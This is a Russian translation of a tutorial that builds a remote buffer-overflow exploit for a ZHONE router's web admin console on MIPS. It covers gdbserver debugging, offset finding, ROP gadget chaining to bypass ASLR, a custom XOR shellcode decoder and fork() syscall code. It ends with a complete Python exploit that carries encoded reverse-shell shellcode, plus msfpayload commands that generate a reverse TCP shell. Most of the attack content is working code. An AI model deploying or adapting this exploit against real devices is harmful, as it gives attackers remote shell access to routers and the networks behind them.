Эксплуатация переполнение буфера на архитектурах MIPS

Эксплуатация переполнение буфера на архитектурах MIPS

В этой статье мы детально рассмотрим процесс написания эксплоита для устройства на основе архитектуры MIPS. В описываемом эксплоите используется актуальная уязвимость в шлюзе на базе роутера ZHONE, о которой я писал в октябре 2015 года.

Автор: Lyon Yang @l0Op3r

Редактирование и поддержка: Bernhard Mueller

1.       Введение

В этой статье мы детально рассмотрим процесс написания эксплоита для устройства на основе архитектуры MIPS. В описываемом эксплоите используется актуальная уязвимость в шлюзе на базе роутера ZHONE, о которой я писал в октябре 2015 года. Более подробную информацию о данной бреши можно найти по адресу http://www.securityfocus.com/archive/1/536666.

Спровоцировать переполнение стека довольно просто при помощи однострочной команды, посылающей слишком большую строку в административную веб-консоль роутера.

GET /<7000 A’s>.cgi HTTP/1.1
<Other HTTP Headers>

2.       Выполнение и отладка эксплоита

Для того чтобы отследить и отладить переполнение стека, мы должны запустить GDBServer на роутере и подцепиться к процессу HTTPD. Ниже указаны инструкции для кросс-компиляции GDBServer.

1.       Загрузка GDB: http://www.gnu.org/software/gdb/download/

2.       Компиляция GDB: /path/to/gdb-src/configure --target=mips-linux-gcc

3.       Компиляция GDBServer: /path/to/gdb-src/gdb/gdbserver/configure --host=mips-linux-gcc

Более подробная информация находится по адресу https://sourceware.org/gdb/wiki/BuildingCrossGDBandGDBserver

На роутере запускаем GDBServer при помощи следующей команды:

./gdbserver –multi <Your Router Gateway IP>:<Any Port number that you want to
use> &

Пример:

./gdbserver –multi 192.168.1.1:1234 &

Далее ищем PID процесса httpd:

ps aux


Рисунок 1: Поиск процесса с именем httpd

Чтобы подключить gdb к GDB Server, выполните на вашей машине следующую команду:

./gdb
target extended--‐remote 192.168.1.1:1234
attach <pid of httpd binary>


Рисунок 2: Подключение gdb к GDB Server

Как только gdb подцепился к процессу, можно начинать отладку во время переполнения стека. После отсылки GET-запроса, указанного выше, возникает переполнение, а gdb показывает примерно следующее:


Рисунок 3: Результаты работы gdb во время переполнения стека

Как следует из рисунка выше, мы успешно перезаписали регистр ‘$ra’ и некоторые другие полезные регистры, например, s0-s7. В архитектуре MIPS регистр ‘$ra’ сохраняет адрес возврата (схож с регистром ‘EIP’). Если мы контролируем этот регистр, то контролируем поток выполнения программы, который можно использовать для выполнения произвольного кода.

Теперь нам нужно определить точные смещения в буфере, позволяющие перезаписать значения в регистрах ‘$s0’-‘$s7’ и ‘$ra’. Мы будем использовать ‘pattern_create.rb’, утилиту идущую в комплекте с Metasploit и позволяющую сгенерировать случайный паттерн и определить смещения к регистрам, которые мы хотим контролировать.

В Kali Linux приложение Metasploit уже установлено, и можно запустить pattern_create.rb следующим образом:

/usr/share/metasploit--‐framework/tools/pattern_create.rb 7000

После генерации заменяем 7 тысяч символов ‘A’ внутри полезной нагрузки на новый паттерн и переполняем стек. Теперь мы можем определить позицию каждого регистра внутри строки, используемой при атаке, посредством копирования значений из регистров в утилиту pattern_create.tb:

/usr/share/metasploit--‐framework/tools/pattern_offset.rb 0x43212322

Более подробную информацию об использовании pattern_create.rb можно узнать по адресу https://www.offensive-security.com/metasploit-unleashed/writing-an-exploit/

При помощи корректных смещений мы можем перезаписать регистры более осознанно, как показано на рисунке ниже.


Рисунок 4: Повторная перезапись регистров

Теперь нам нужно найти на карте памяти такие сегменты, которые помечены как выполняемые. В случае с архитектурой MIPS обычно не приходится иметь дело с защитами наподобие Data Execution Protection (DEP). В нашем примере стек оказался помеченным на выполнение.


Рисунок 5: Перечень сегментов памяти с указанием прав доступа

3.       Некогерентность кэша

В процессе написания эксплоитов для MIPS-устройств зачастую появляются проблемы, связанные с некогерентностью кэша и возникающие в случаях, если шелл код состоит из самомодифицирующихся элементов, например, кодировщика для плохих символов. Во время работы дешифровщика расшифрованные инструкции попадают в кэш данных (и не записываются обратно в память). Но когда выполнение доходит до раскодированной части шелл кода, из кэша инструкций процессор вынимает все еще закодированные инструкции.


Рисунок 6: Схема взаимодействия памяти, кэша и процессора (источник: http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code)

Чтобы преодолеть эту проблему, мы должны принудительно вызвать блокирующую функцию (например, «sleep») из библиотеки LibC. Во время «засыпания» процессора произойдет одно или несколько смен контекстов и кэш сбросится. Более подробно о вызове библиотечных функций мы поговорим в следующем разделе, посвященном обходу ASLR.

Если в шелл-коде вы используется кодирование только секции .data (например, имени файла), тогда проблем, связанных с некогерентростью кэша не возникнет, поскольку во время чтения и записи будет обращение только к кэшу данных.

4.       Обход ASLR

При написании эксплоитов довольно часто возникает проблема, связанная с защитой ASLR (Address space layout randomization; рандомизация адресного пространства). ASLR случайным образом выстраивает позиции ключевых областей данных, включая базовый адрес выполняемого файла, позиции библиотек, кучи и стека в адресном пространстве процесса.

Существует два способа обхода ASLR:

1.       Работа с модулями, где не включена защита ASLR. Эти модули будут иметь фиксированный базовый адрес даже при перезапуске процесса или системы.

2.       Использование утечки указателя во время утечки памяти или при наличии других уязвимостей.

Для обхода ASLR мы будем использовать ROP (Return-Oriented Programming; Возвратно-Ориентированное Программирование). ROP – одна из вариаций классической атаки возврата в библиотеку (return-into-libc attack), когда злоумышленник соединяет вместе несколько инструкций или «гаджетов», найденных в памяти процесса.

В нашем случае алгоритм эксплоита будет выглядеть следующим образом:

1.       Поскольку мы контролируем возвратный адрес в регистре ‘$ra’, то можем поместить адрес первого ROP-гаджета в регистр ‘$ra’. Таким образом, мы даем указание процессу httpd на переход по адресу первого ROP-гаджета и выполнение инструкции, находящейся по этому адресу.

2.       Вначале нужно использовать ROP-гаджет для установки значения 1 в регистр $a0 для того, чтобы успешно выполнить функцию sleep.

3.       Второй ROP-гаджет будет запускать функцию sleep, которая хранится в библиотеке LibC.

4.       Третий ROP-гаджет будет сохранять местонахождение стека (где хранится наш шелл-код) в какой-то регистр.

5.       Четвертый и последний ROP-гаджет будет переходить в правильное место внутри стека для выполнения шелл-кода.

Для поиска ROP-гаджетов будем использовать плагин для IDA, написанный Крейгом Хеффнером (Craig Heffner). Более подробную информацию об этом плагине можно найти по адресу https://github.com/devttys0/ida/tree/master/plugins/mipsrop

5.       Использование ROP-гаджетов

Вначале мы должны определить, какие использовать ROP-гаджеты и как выстроить цепочку в эксплоите.

ROP-гаджет №1

Первый ROP-гаджет должен устанавливать значение 1 в регистр $a0, а затем переходить к следующему гаджету.

Используем ранее упомянутый плагин для нахождения нужной инструкции:

mipsrop.find(“li $a0, 1”)


Рисунок 7: Результат выполнения команды mipsrop.find(“li $a0, 1”)

Мы будем использовать ROP-гаджет по адресу ‘511C8’, показанный ниже.


Рисунок 8: Местонахождение первого ROP-гаджета

Так как это наш первый ROP-гаджет, мы должны заменить адрес возврата на адрес ‘511C8’+смещение.

Следующая инструкция, идущая после первого ROP-гаджета, устанавливает значение в регистре $s3 в регистр $t9 и переходит к тому адресу. В нашем эксплоите мы контролируем содержимое регистра $s3.

ROP-гаджет №2

Второй ROP-гаджет должен выполнять функцию sleep() из библиотеки libc.

Вначале необходимо найти адрес функции sleep в бинарном файле библиотеки, извлеченном из роутера Zhone.

Найти адрес функции sleep можно в IDA Pro:

1.       Открываем окно «View Functions».

2.       Ищем по ключевому слову sleep.


Рисунок 9: Поиск функции sleep

Обращаем внимание, что функция sleep хранится по адресу 4FFD0.

Далее, чтобы выполнить функцию sleep, нужно при помощи плагина найти ROP-гаджет, содержащий набор инструкций для перехода к адресу, к которому мы захотим.

Используем функцию tails для поиска инструкций move:

mipsrop.tails()


Рисунок 10: Результат выполнения команды mipsrop.tails()

После изучения потенциальных кандидатов находим нужный ROP-гаджеты (см. рисунок ниже):


Рисунок 11: Блок инструкций для перехода по установленному адресу

Блок кода, показанный выше, осуществляет переход к адресу, находящемуся в регистре $s1.

Далее код берет значение из стека и сохраняет как адрес возврата в регистре $ra. Поскольку мы контролируем ту часть стека, откуда считывается это значение, то можем сделать так, чтобы осуществился переход к следующему ROP-гаджету.

ROP-гаджет №3

Теперь нам нужно найти ROP-гаджет, берущий значение по адресу из стека, который мы контролируем, и сохраняющий данное значение в регистр. Этот трюк нужен для выполнения нашего шелл-кода.

Используем плагин для поиска инструкций, сохраняющих адрес стека в регистре:

mipsrop.stackfinders()



Рисунок 12: Результат выполнения команды mipsrop.stackfinders()

ROP-гаджет, показанный ниже, выглядит подходящим:


Рисунок 13: Подходящий ROP-гаджет, сохраняющий адрес стека в регистре

Следует отметить два момента:

1.       Мы копируем адрес, указывающий на подконтрольную нам часть стека, в регистр $s0: addiu $s0, $sp, 0xA8+var_90.

2.       Мы переходим к четвертому ROP-гаджету через регистр ‘$s1’. В предыдущем ROP-гаджете указатель на стек копировался в регистр $s1: move $t9, $s1; jalr $t9.

ROP-гаджет №4

После того как мы получили адрес, указывающий на шелл-код, в регистре $s01, нам нужен ROP-гаджет, который переходит к регистру $s01.

Используем плагин для поиска нужной инструкции:

mipsrop.find(“move $t9, $s0”)


Рисунок 14: Результат выполнения команды mipsrop.find(“move $t9, $s0”)


Рисунок 15: Подходящий ROP-гаджет

Теперь у нас есть все необходимые ROP-гаджеты, и мы можем приступать к написанию эксплоита.

6.       Создание эксплоита – Вычисление смещений

Далее нам нужно вычислить конечный адрес для использования с найденными ранее ROP-гаджетами. Это можно сделать, если взглянуть на карту памяти. В нашем случае библиотека libc не защищена ASLR, гаджеты будут находиться по неизменным адресам, а сам эксплоит будет более надежным.


Рисунок 16: Карта памяти, относящейся к библиотеке libc

Базовый адрес библиотеки libc: 0x2b259000.

Ниже показаны вычисления конечных адресов для каждого ROP-гаджета:

1.       Первый ROP-гаджет: $ra = 511C8 (первый ROP-гаджет) + базовый адрес libc = 0x2B2AA1C8. Этот адрес будет храниться в регистре $ra.

2.       Второй ROP-гаджет: $s3 = 1A95C (второй ROP-гаджет) + базовый адрес libc = 0x2b27395c. Этот адрес будет храниться в регистре $s3.

3.       Адрес функции sleep из библиотеки libc: $s1 = 4FFD0 (адрес функции sleep) + базовый адрес libc = 0x2b2a8fd0. Этот адрес будет храниться в регистре $s1.

 

Адреса последних ROP-гаджетов должны храниться в стеке, поскольку будут копироваться из стека в регистр через второй ROP-гаджет.

4.       Третий ROP-гаджет: $ra = 0x28+var_4($sp) = 47EB8 (третий ROP-гаджет) + базовый адрес libc = 0x2b2a0eb8. Этот адрес будет храниться по адресу 0x28+var_4($sp), который мы контролируем через большую строку, отсылаемую в эксплоите.

5.     Четвертый ROP-гаджет: $s1 = 0x28+var_C($sp) = 1f8c0 (четвертый ROP-гаджет) + базовый адрес libc = 0x2b2788c0. Этот адрес будет храниться по адресу 0x28+ var_C($sp), который мы контролируем через большую строку, отсылаемую в эксплоите.

Результирующая полезная нагрузка выглядит следующим образом:

Полезная нагрузка =
5117 байт + Регистр $s0 (NOP) +
Регистр $s1 (0x2b2a8fd0) +
Регистр $s2 (NOP) +
Регистр $s3 (0x2b27395c) +
Регистр $s4 - $s7 (NOP) +
Регистр $ra (0x2B2AA1C8) +
(NOP) * 7 +
Второй регистр $s1 (0x2b2788c0) +
NOP +
Второй регистр $ra (0x2b2a0eb8) +
NOP * 14 +
Дешифровщик шелл-кода +
Закодированный вызов функции fork() +
Закодированный реверсивный шелл-код

Примечание: в полезной нагрузке, показанной выше, инструкция NOP может быть представлена следующим образом:

nor t6,t6,zero
\x27\x70\xc0\x01

Написание кодировщика, вызова функции fork и реверсивного шелл-кода мы рассмотрим в следующих разделах.

7.       Создание эксплоита – Написание кодировщика для шелл-кода под архитектуру MIPS

Мы не будем рассматривать в деталях написание шелл-кода под архитектуру MIPS, но рассмотрим написание кодировщика. Для генерации реверсивного шелл-кода под архитектуру MIPS можно использовать модуль ‘msfpayload’, идущий в составе Metasploit.

msfpayload linux/mipsbe/shell_reverse_tcp lport=31337 lhost=192.168.1.177 X

При создании эксплоитов мы часто встречаемся с плохими символами, которые не пригодны к использованию. После многих часов отладки выяснилось, что следующие символы нельзя использовать в эксплоитах:

0x20 0x00 0x3a 0x0a 0x3f

Первым делом мы попробуем закодировать шелл-код при помощи кодировщика Metasploit под архитектуру MIPS без плохих символов:

msfpayload linux/mipsbe/shell_reverse_tcp lport=31337 lhost=192.168.1.177 R |
msfencode --‐e mipsbe/longxor --‐b '0x20 0x00 0x3a 0x0a 0x3f' --‐t c

Во время тестов выяснилось, что закодированный шелл-код будет запускаться только с прикрепленным отладчиком. После расследования я решил, что проблема может быть связана с кодировщиком в Metasploit.

Если посмотреть на расшифрованный шелл-код, сгенерированный при помощи модуля msfpayload, то видно только два плохих символа:


Рисунок 17: Расшифрованный шелл-код

Таким образом, мы можем добавить еще код, который специально декодирует  эти два символа во время запуска шелл-кода.

Для того чтобы быстро написать шелл-код под архитектуру MIPS, я использовал MIPS-ассемблер и динамический симулятор (runtime simulator). Этот метод мне понравился больше, чем компиляция ассемблерного кода и отладка в gdb.

http://courses.missouristate.edu/KenVollmar/MARS/download.htm

 

В целях написания простого XOR-кодировщика рассмотрим следующие инструкции:

Инструкция

Описание

li           $t1, 5

Загрузка непосредственного значения ‘5’ в регистр ‘$t1’

la          $s2, 0($sp)

Копирования адреса указателя стека плюс смещение в регистр $s2

lw         $t1, var1

Копирование 4 байт из ‘var1’ в регистр ‘$t1’

Xor       $v1, $t2, $s1

Операция XOR между значениями $t2 и $s1 и помещение результата в регистр $v1

sw       $t1, $s1

Сохранение 4 байт из регистра ‘$t1’ по адресу в регистре ‘$s1’

addi    $t2,$t3, 5

Добавление 5 к регистру $t3 и сохранение результата в регистр $t2

 

Более подробную информацию о других инструкциях можно найти по адресу http://logos.cs.uic.edu/366/notes/mips%20quick%20tutorial.htm

Для того чтобы лучше разобраться с ассемблером для архитектуры MIPS и как работает кодировщик, напишем простой кодировщик для кодирования 4 байт информации. Код, показанный ниже, выполняет операцию XOR между значением по адресу $sp + 4 и числом 9999:

#Loads value 9999 into register $s1
li $s1, 9999
#Copy Stack Pointer Address into register $s2
la $s2, 0($sp)
#Takes value 4 bytes after the register $s2 address and copy it into register $t2
lw $t2, 4($s2)
#XOR both values from register $t2 & $s1 and stored it into register $v1
xor $v1, $t2, $s1
#Store XORED value from $v1 into address location at 4 bytes after register $s2
sw $v1, 4($s2)

Однако на скриншоте ниже видно, что если мы скомпилируем кодировщик в базовую форму, появляются пустые байты и плохие символы:


Рисунок 18: Ассемблированная версия кодировщика с дополнительными символами

Таким образом, нам нужно модифицировать инструкции шелл-кода так, чтобы в скомпилированной версии не было плохих символов. Код ниже декодирует два плохих байта в нашем шелл-коде:

# Load decimal value 99999999 into register $s2
li $s1, 2576980377
# Copy Stack Pointer Address + 1000 bytes into register $s2
la $s2, 1000($sp)
# Adjust Register $s2 (address location) by --‐244
addi $s2, $s2, --‐244
# Get value located at register $s2 – 500 bytes and store into register $t2
lw $t2, --‐500($s2)
# XOR value stored at $t2 and $s1 and store it into register $v1
xor $v1, $t2, $s1
# Replace value back to stack ($s2 – 500) with new XORed value ($v1).
sw $v1, --‐500($s2)
# Move Register by --‐8 bytes to new value to be XORed
addi $s2, $s2, --‐8
# Get value located at register $s2 – 500 bytes and store into register $t2
lw $t2, --‐500($s2)
# XOR value stored at $t2 and $s1 and store it into register $v1
xor $v1, $t2, $s1
# Replace value back to stack ($s2 – 500) with new XORed value ($v1).
sw $v1, --‐500($s2)

8.       Создание эксплоита – Системный вызов fork()

После успешного запуска закодированной полезной нагрузки я обнаружил, что командная строка появляется и тут же умирает. Я предположил, что некоторый процесс, запущенный на устройстве и отвечающий за мониторинг, перезапускает http сервер в случае, если тот перестает подавать признаки жизни. Чтобы предотвратить отключение шелла, в начало шелл-кода я добавил системный вызов fork(). Код ниже отвечает за вызов системной функции fork():

__start:
# Register $s1 = --‐1
li $s1, --‐1
# Start loop here with name ‘loc’
loc:
# Load Register $a0 with value 9999
li $a0, 9999
# Load Register $v0 with value 4166, which is setting syscall as nanosleep
li $v0, 4166
# Execute syscall
syscall 0x40404
# Branch back to loc if $s1 is more than 0
bgtz $s1, loc
# Load Register $s1 with value 4141
li $s1, 4141
# Load Register $v0 with value 4002, which is setting syscall as fork
li $v0, 4002
# Execute syscall
syscall 0x40404
# Jump back to sleep if, this is in parent process
bgtz $v0, loc

После добавления системного вызова fork в начало шелл-кода реверсивный шелл начал работать стабильно.


Рисунок 19: Успешное выполнение команды в реверсивном шелле

Итоговый код эксплоита:

import socket
import sys
import struct
import urlparse
import re
import os
host = '192.168.1.1'
#create an INET, STREAMing socket
s = socket.socket(
socket.AF_INET, socket.SOCK_STREAM)
#now connect to the web server on port 80
# --‐ the normal http port
nop = "\x27\x70\xc0\x01"
buf = "A"
buf += nop * 1279
#Setup ROP Gadgets Part #1
s0 = nop
### Sleep function Address ###
s1 = "\x2b\x2a\x8f\xd0"
##############################
s2 = nop
### 2nd ROP Gadget ###
s3 = "\x2b\x27\x39\x5c"
######################
s4 = nop
s5 = nop
s6 = nop
s7 = nop
### 1st ROP Gadget ###
ra = "\x2b\x2a\xa1\xc8"
######################
#ROP Gadgets Part #2 + shellcode
shellcode = nop * 6
### 3rd ROP Gadget ###
# 2nd ROP Gadget will add this as the new $ra
ra2 = "\x2b\x2a\x0e\xb8"
######################
s0_2 = nop
### 4th ROP Gadget ####
# 2nd ROP Gadget will add this as the new $s1
s1_2 = "\x2b\x27\x88\xc0"
#######################
s2_2 = nop
shellcode += s0_2
shellcode += s1_2
shellcode += s2_2
shellcode += ra2
shellcode += nop * 6
sc_encode=("\x3c\x11\x99\x99\x36\x31\x99\x99\x27\xb2\x03\xe8\x22\x52\xff\x0c\x8e\
x4a\xfe\x0c\x01\x51\x18\x26\xae\x43\xfe\x0c\x22\x52\xff\xf8\x8e\x4a\xfe\x0c\x01\x
51\x18\x26\xae\x43\xfe\x0c\x22\x52\xff\x90\x8e\x4a\xfe\x0c\x01\x51\x18\x26\xae\x4
3\xfe\x0c")
#bad character: \x1E\x20\xFF\xFC XOR 99999999 = 87b96665
sc_fork1=("\x24\x11\xFF\xFF\x24\x04\x27\x0F\x24\x02\x10\x46\x01\x01\x01\x0C")
sc_fork_bad=("\x87\xb9\x66\x65")
sc_fork2=("\x24\x11\x10\x2D\x24\x02\x0F\xA2\x01\x01\x01\x0C\x1C\x40\xFF\xF8")
sc_first=("\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff"
"\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2"
"\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf"
"\xaf\xff\xe0\x3c\x0e")
#Port No.
sc_first+=("\x30\x3B")
sc_first+=("\x35\xce\x7a\x69\xaf\xae\xff\xe4"
"\x3c\x0e\xc0\xa8\x35\xce\x01")
#Modify this to change ip address 192.168.1.x
sc_first+="\x04"
sc_first+=("\xaf\xae\xff\xe6\x27\xa5\xff"
"\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01"
"\x01\x0c\x24\x11\xff\xfd")
# at position: (15*6 + 6) /4 = 24
#Original Bytes: "\x02\x20\x88\x27"
sc_bad1=("\x9b\xb9\x11\xbe")
sc_mid=("\x8f\xa4\xff\xff")
#bad character at pos: 24 + 2
#Original Bytes: "\x02\x20\x28\x21"
sc_bad2=("\x9b\xb9\xb1\xb8")
sc_last=(
"\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff"
"\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f"
"\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf"
"\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab"
"\x01\x01\x01\x0c")
sc = sc_encode
sc += sc_fork1
sc += sc_fork_bad
sc += sc_fork2
sc += sc_first
sc += sc_bad1
sc += sc_mid
sc += sc_bad2
sc += sc_last
#"\xfc\x5a \xf8\xb9")
shellcode += nop * 8
shellcode += sc
print len(sc)
shellcode += nop * ((1852 --‐ 24 --‐ 8 --‐ 8 --‐ 18 --‐ len(sc))/4)
s.connect((host, 80))
s.send("GET /.html")
s.send(buf)
s.send(s0)
s.send(s1)
s.send(s2)
s.send(s3)
s.send(s4)
s.send(s5)
s.send(s6)
s.send(s7)
s.send(ra)
s.send(shellcode)
s.send(".html HTTP/1.1%s" % '\n')
s.send("Host: 192.168.1.1%s" % '\n')
s.send("User--‐Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0)
Gecko/20100101 Firefox/35.0%s" % '\n')
s.send("Accept: */*%s" % '\n')
s.send("Accept--‐Language: en--‐US,en;q=0.5%s" % '\n')
s.send("Accept--‐Encoding: gzip, deflate%s" % '\n')
s.send("Referer: http://132.147.82.80/%s" % '\n')
s.send("Authorization: Basic <Encoded password>%s" % '\n')
s.send("Connection: keep--‐alive%s" % '\n')
print "Sent!"
data = (s.recv(1000000))
print "Received :"
print data

Ссылки

https://courses.cs.washington.edu/courses/cse410/09sp/examples/MIPSCallingConventionsSummary.pdf

http://inst.eecs.berkeley.edu/~cs61c/resources/MIPS_Green_Sheet.pdf

Домашний Wi-Fi – ваша крепость или картонный домик?

Узнайте, как построить неприступную стену